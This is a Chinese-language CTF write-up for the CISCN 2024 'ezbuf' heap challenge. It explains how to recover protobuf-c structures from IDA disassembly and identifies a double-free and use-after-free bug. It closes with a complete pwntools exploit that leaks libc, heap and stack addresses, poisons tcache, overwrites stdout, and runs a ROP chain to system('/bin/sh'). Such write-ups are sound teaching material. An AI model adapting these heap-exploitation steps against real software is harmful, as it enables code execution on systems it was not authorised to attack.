文章目錄
- 參考
- protobuf
- 逆向學習
- 復原結構
- 思路
- exp
參考
https://www.y4ng.cn/posts/pwn/protobuf/#ciscn-2024-ezbuf
protobuf
當時壓根不知道用了protobuf這個玩意，提取工具也沒提取出來，還是做題做太少了，很多關鍵性的結構都沒看出來是protobuf
下次可以根據ProtobufCMessageDescriptor結構體的magic頭（一般是0x28AAEEF9）來搜索定位到ProtobufCMessageDescriptor
逆向學習
const ProtobufCMessageDescriptor devicemsg__descriptor =
{PROTOBUF_C__MESSAGE_DESCRIPTOR_MAGIC,"devicemsg","Devicemsg","Devicemsg","",sizeof(Devicemsg),5,devicemsg__field_descriptors,devicemsg__field_indices_by_name,1, devicemsg__number_ranges,(ProtobufCMessageInit) devicemsg__init,NULL,NULL,NULL /* reserved[123] */
};
相關字段
/*** Describes a message.*/
struct ProtobufCMessageDescriptor {/** Magic value checked to ensure that the API is used correctly. */uint32_t magic;/** The qualified name (e.g., "namespace.Type"). */const char *name;/** The unqualified name as given in the .proto file (e.g., "Type"). */const char *short_name;/** Identifier used in generated C code. */const char *c_name;/** The dot-separated namespace. */const char *package_name;/*** Size in bytes of the C structure representing an instance of this* type of message.*/size_t sizeof_message;/** Number of elements in `fields`. */unsigned n_fields;/** Field descriptors, sorted by tag number. */const ProtobufCFieldDescriptor *fields;/** Used for looking up fields by name. */const unsigned *fields_sorted_by_name;/** Number of elements in `field_ranges`. */unsigned n_field_ranges;/** Used for looking up fields by id. */const ProtobufCIntRange *field_ranges;/** Message initialisation function. */ProtobufCMessageInit message_init;/** Reserved for future use. */void *reserved1;/** Reserved for future use. */void *reserved2;/** Reserved for future use. */void *reserved3;
};對應IDA中
.data.rel.ro:000000000000BC60 unk_BC60 db 0F9h ; DATA XREF: sub_1AFE+5B↑o
.data.rel.ro:000000000000BC60 ; sub_1B66+17↑o ...
.data.rel.ro:000000000000BC61 db 0EEh
.data.rel.ro:000000000000BC62 db 0AAh
.data.rel.ro:000000000000BC63 db 28h ; (
.data.rel.ro:000000000000BC64 db 0
.data.rel.ro:000000000000BC65 db 0
.data.rel.ro:000000000000BC66 db 0
.data.rel.ro:000000000000BC67 db 0
.data.rel.ro:000000000000BC68 dq offset aHeybro ; "heybro"
.data.rel.ro:000000000000BC70 dq offset aHeybro_0 ; "Heybro"
.data.rel.ro:000000000000BC78 dq offset aHeybro_0 ; "Heybro"
.data.rel.ro:000000000000BC80 dq offset unk_910E
.data.rel.ro:000000000000BC88 db 48h ; H
.data.rel.ro:000000000000BC89 db 0
.data.rel.ro:000000000000BC8A db 0
.data.rel.ro:000000000000BC8B db 0
.data.rel.ro:000000000000BC8C db 0
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.data.rel.ro:000000000000BC90 db 5
.data.rel.ro:000000000000BC91 db 0
.data.rel.ro:000000000000BC92 db 0
.data.rel.ro:000000000000BC93 db 0
.data.rel.ro:000000000000BC94 db 0
.data.rel.ro:000000000000BC95 db 0
.data.rel.ro:000000000000BC96 db 0
.data.rel.ro:000000000000BC97 db 0
.data.rel.ro:000000000000BC98 dq offset off_BAE0 ; "whatcon"
.data.rel.ro:000000000000BCA0 dq offset unk_90D0
.data.rel.ro:000000000000BCA8 db 1
.data.rel.ro:000000000000BCA9 db 0
.data.rel.ro:000000000000BCAA db 0
.data.rel.ro:000000000000BCAB db 0
.data.rel.ro:000000000000BCAC db 0
.data.rel.ro:000000000000BCAD db 0
.data.rel.ro:000000000000BCAE db 0
.data.rel.ro:000000000000BCAF db 0
.data.rel.ro:000000000000BCB0 dq offset unk_90F0
.data.rel.ro:000000000000BCB8 dq offset sub_1AFE
然后根據ProtobufCFieldDescriptor去尋找內部各個字段的內容
static const ProtobufCFieldDescriptor devicemsg__field_descriptors[5] =
{{"whatcon",1,PROTOBUF_C_LABEL_NONE,PROTOBUF_C_TYPE_BYTES,0, /* quantifier_offset */offsetof(Devicemsg, whatcon),NULL,NULL,0, /* flags */0,NULL,NULL /* reserved1,reserved2, etc */},{"whattodo",2,PROTOBUF_C_LABEL_NONE,PROTOBUF_C_TYPE_SINT64,0, /* quantifier_offset */offsetof(Devicemsg, whattodo),NULL,NULL,0, /* flags */0,NULL,NULL /* reserved1,reserved2, etc */},{"whatidx",3,PROTOBUF_C_LABEL_NONE,PROTOBUF_C_TYPE_SINT64,0, /* quantifier_offset */offsetof(Devicemsg, whatidx),NULL,NULL,0, /* flags */0,NULL,NULL /* reserved1,reserved2, etc */},{"whatsize",4,PROTOBUF_C_LABEL_NONE,PROTOBUF_C_TYPE_SINT64,0, /* quantifier_offset */offsetof(Devicemsg, whatsize),NULL,NULL,0, /* flags */0,NULL,NULL /* reserved1,reserved2, etc */},{protobuf_c_message_pack"whatsthis",5,PROTOBUF_C_LABEL_NONE,PROTOBUF_C_TYPE_UINT32,0, /* quantifier_offset */offsetof(Devicemsg, whatsthis),NULL,NULL,0, /* flags */0,NULL,NULL /* reserved1,reserved2, etc */},
};
相關字段的定義
struct ProtobufCFieldDescriptor {/** Name of the field as given in the .proto file. */const char *name;/** Tag value of the field as given in the .proto file. */uint32_t id;/** Whether the field is `REQUIRED`, `OPTIONAL`, or `REPEATED`. */ProtobufCLabel label;/** The type of the field. */ProtobufCType type;/*** The offset in bytes of the message's C structure's quantifier field* (the `has_MEMBER` field for optional members or the `n_MEMBER` field* for repeated members or the case enum for oneofs).*/unsigned quantifier_offset;/*** The offset in bytes into the message's C structure for the member* itself.*/unsigned offset;/*** A type-specific descriptor.** If `type` is `PROTOBUF_C_TYPE_ENUM`, then `descriptor` points to the* corresponding `ProtobufCEnumDescriptor`.** If `type` is `PROTOBUF_C_TYPE_MESSAGE`, then `descriptor` points to* the corresponding `ProtobufCMessageDescriptor`.** Otherwise this field is NULL.*/const void *descriptor; /* for MESSAGE and ENUM types *//** The default value for this field, if defined. May be NULL. */const void *default_value;/*** A flag word. Zero or more of the bits defined in the* `ProtobufCFieldFlag` enum may be set.*/uint32_t flags;/** Reserved for future use. */unsigned reserved_flags;/** Reserved for future use. */void *reserved2;/** Reserved for future use. */void *reserved3;
};根據這四個字段來復原原來的結構const char *name; uint32_t id; ProtobufCLabel label; ProtobufCType type;
typedef enum {/** A well-formed message must have exactly one of this field. */0 PROTOBUF_C_LABEL_REQUIRED,/*** A well-formed message can have zero or one of this field (but not* more than one).*/1 PROTOBUF_C_LABEL_OPTIONAL,/*** This field can be repeated any number of times (including zero) in a* well-formed message. The order of the repeated values will be* preserved.*/2 PROTOBUF_C_LABEL_REPEATED,/*** This field has no label. This is valid only in proto3 and is* equivalent to OPTIONAL but no "has" quantifier will be consulted.*/3 PROTOBUF_C_LABEL_NONE,
} ProtobufCLabel;typedef enum {
0 PROTOBUF_C_TYPE_INT32, /**< int32 */
1 PROTOBUF_C_TYPE_SINT32, /**< signed int32 */
2 PROTOBUF_C_TYPE_SFIXED32, /**< signed int32 (4 bytes) */
3 PROTOBUF_C_TYPE_INT64, /**< int64 */
4 PROTOBUF_C_TYPE_SINT64, /**< signed int64 */
5 PROTOBUF_C_TYPE_SFIXED64, /**< signed int64 (8 bytes) */
6 PROTOBUF_C_TYPE_UINT32, /**< unsigned int32 */
7 PROTOBUF_C_TYPE_FIXED32, /**< unsigned int32 (4 bytes) */
8 PROTOBUF_C_TYPE_UINT64, /**< unsigned int64 */
9 PROTOBUF_C_TYPE_FIXED64, /**< unsigned int64 (8 bytes) */
10 PROTOBUF_C_TYPE_FLOAT, /**< float */
11 PROTOBUF_C_TYPE_DOUBLE, /**< double */
12 PROTOBUF_C_TYPE_BOOL, /**< boolean */
13 PROTOBUF_C_TYPE_ENUM, /**< enumerated type */
14 PROTOBUF_C_TYPE_STRING, /**< UTF-8 or ASCII string */
15 PROTOBUF_C_TYPE_BYTES, /**< arbitrary byte sequence */
16 PROTOBUF_C_TYPE_MESSAGE, /**< nested message */
} ProtobufCType;對應到IDA中
.data.rel.ro:000000000000BAE0 off_BAE0 dq offset aWhatcon ; DATA XREF: .data.rel.ro:000000000000BC98↓o
.data.rel.ro:000000000000BAE0 ; "whatcon"
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.data.rel.ro:000000000000BB28 dq offset aWhattodo ; "whattodo"
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.data.rel.ro:000000000000BB70 dq offset aWhatidx ; "whatidx"
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.data.rel.ro:000000000000BBB8 dq offset aWhatsize ; "whatsize"
.data.rel.ro:000000000000BBC0 db 4
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.data.rel.ro:000000000000BC00 dq offset aWhatsthis ; "whatsthis"
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.data.rel.ro:000000000000BC59 db 0
.data.rel.ro:000000000000BC5A db 0
.data.rel.ro:000000000000BC5B db 0
.data.rel.ro:000000000000BC5C db 0
.data.rel.ro:000000000000BC5D db 0
.data.rel.ro:000000000000BC5E db 0
.data.rel.ro:000000000000BC5F db 0
復原結構
根據ProtobufCMessageDescriptor 的name字段得到這個message的名字為heybro，然后根據ProtobufCFieldDescriptor 的const char *name; uint32_t id; ProtobufCLabel label; ProtobufCType type;得到各個內容的名字，id，label和類型
message heybro{bytes whatcon = 1;sint64 whattodo = 2;sint64 whatidx = 3;sint64 whatsize = 4;uint32 whatsthis = 5;
}
struct Heybro
{ProtobufCMessage base; //24個字節ProtobufCBinaryData whatcon;int64_t whattodo;int64_t whatidx;int64_t whatsize;uint32_t whatsthis;
};struct ProtobufCMessage {/** The descriptor for this message type. */const ProtobufCMessageDescriptor *descriptor;/** The number of elements in `unknown_fields`. */unsigned n_unknown_fields;/** The fields that weren't recognized by the parser. */ProtobufCMessageUnknownField *unknown_fields;
};struct ProtobufCBinaryData {size_t len; /**< Number of bytes in the `data` field. */uint8_t *data; /**< Data bytes. */
};sub_1934(*(_QWORD *)(heybro + 24),*(_QWORD *)(heybro + 32),*(_QWORD *)(heybro + 40),*(_QWORD *)(heybro + 48),*(_QWORD *)(heybro + 56),*(unsigned int *)(heybro + 64));bytes類型，轉化為c語言結構時會變成一個結構體，里面存放長度和內容指針。IDA由于沒有內置相關結構信息，將其當做八字節數組進行解析，因此會產生一個有6個記錄的錯覺，實際上后兩個參數是同一個記錄內置的兩條記錄。
思路
add會檢查索引，然后根據索引分配會固定得到0x40大小的chunk，并且會把whatcon的內容賦值過去，10次delete，會檢查索引范圍，和對應索引的chunk是否為空，但free后沒有清零，3次show。會在會檢查索引范圍，和對應索引的chunk是否為空，并且在whatsthis == '\xFF’和 whatsize == 48都不滿足會打印出chunk的內容
存在doublefree，show after free
- add時候會先分配一個0x50和一個和data長度相同的chunk，這兩個都是從unsortedbin中分的，然后先是將內容寫到那個和data長度相同的chunk， 最后memcpy將datachunk寫到分配得到的0x40的chunk，這里的話可以通過殘留的libc泄露地址
- 泄露堆地址，直接 由于mempy特性和必須寫入內容特性，殘留堆地址會被修改，所以沒用，通過free到tcache泄露即可
- 構造任意寫，但由于delete的限制次數剛好是10次，所以只有一次任意寫，但此時tcache中存在其他bin有很多個，可以通過寫tcachebin然后實現多次任意寫,泄露stack地址可以通過任意寫stdout后泄露棧地址
IO_2_1_stdout：_flags = 0xFBAD1800，然后讓后面的三個read參數為0,然后就write_base和write_ptr之間為我們要輸出的地址范圍
- malloc分配到tcachebin，然后再修改tcachebin，使得可以分配到棧上
exp
from pwn import *
import devicemsg_pb2
#context.log_level='debug'
context.arch='amd64'
context.os='linux'def add(idx,con):bro=devicemsg_pb2.heybro()bro.whatcon=conbro.whattodo=1bro.whatidx=idxp.sendafter(b'WHAT DO YOU WANT?\n',bro.SerializeToString())def delete(idx):bro=devicemsg_pb2.heybro()bro.whattodo=2bro.whatidx=idxp.sendafter(b'WHAT DO YOU WANT?\n',bro.SerializeToString())def magic(idx,thiss,size,con):bro=devicemsg_pb2.heybro()bro.whattodo=3bro.whatidx=idxbro.whatsthis=thissbro.whatsize=sizebro.whatcon=conp.sendafter(b'WHAT DO YOU WANT?\n',bro.SerializeToString())def exitt():bro=devicemsg_pb2.heybro()bro.whattodo=4p.sendafter(b'WHAT DO YOU WANT?\n',bro.SerializeToString())#p=remote('8.147.129.121',15268)
p=process('./pwn')
libc=ELF('./libc.so.6')add(0,b'a')add(1,b'a')magic(0,0,0,b'')
p.recvuntil(b'Content:')
libcbase=u64(p.recvuntil(b'\x7f').ljust(8,b'\x00'))-0x21ac61
print(hex(libcbase))for i in range(9):add(i,b'a')for i in range(8):delete(i)magic(0,0,0,b'')
p.recvuntil(b'Content:')
heap=u64(p.recvline()[:-1].ljust(8,b'\x00'))+1
print(hex(heap))delete(8)delete(7)for i in range(7):add(i,b'a')pause()add(7,p64(((heap<<12)-0x5000+0xe0)^heap))
add(7,b'a')
add(7,b'a')
add(7,b'\x00'*8+p64(libcbase+0x21b780-0x90)+p64(0)+p64(((heap<<12)-0x5000+0xe0)))
payload=b'\x00'*0x90+p64(0xfbad1887)+p64(0)*3+p64(libcbase+0x222200)+p64(libcbase+0x222208) #寫stderr
add(7,payload)
stack=u64(p.recvuntil(b'\x7f').ljust(8,b'\x00'))
add(7,p64(0)+p64(stack-0x168)+b'\x00'*0xd0)# 再次修改tcachebin
#gdb.attach(p)rdi=libcbase+0x2a3e5
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
system=libcbase+libc.symbols['system']
ret=libcbase+0x29139
rop=b'a'*8+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
add(7,rop.ljust(0xc0,b'\x00'))
p.interactive()
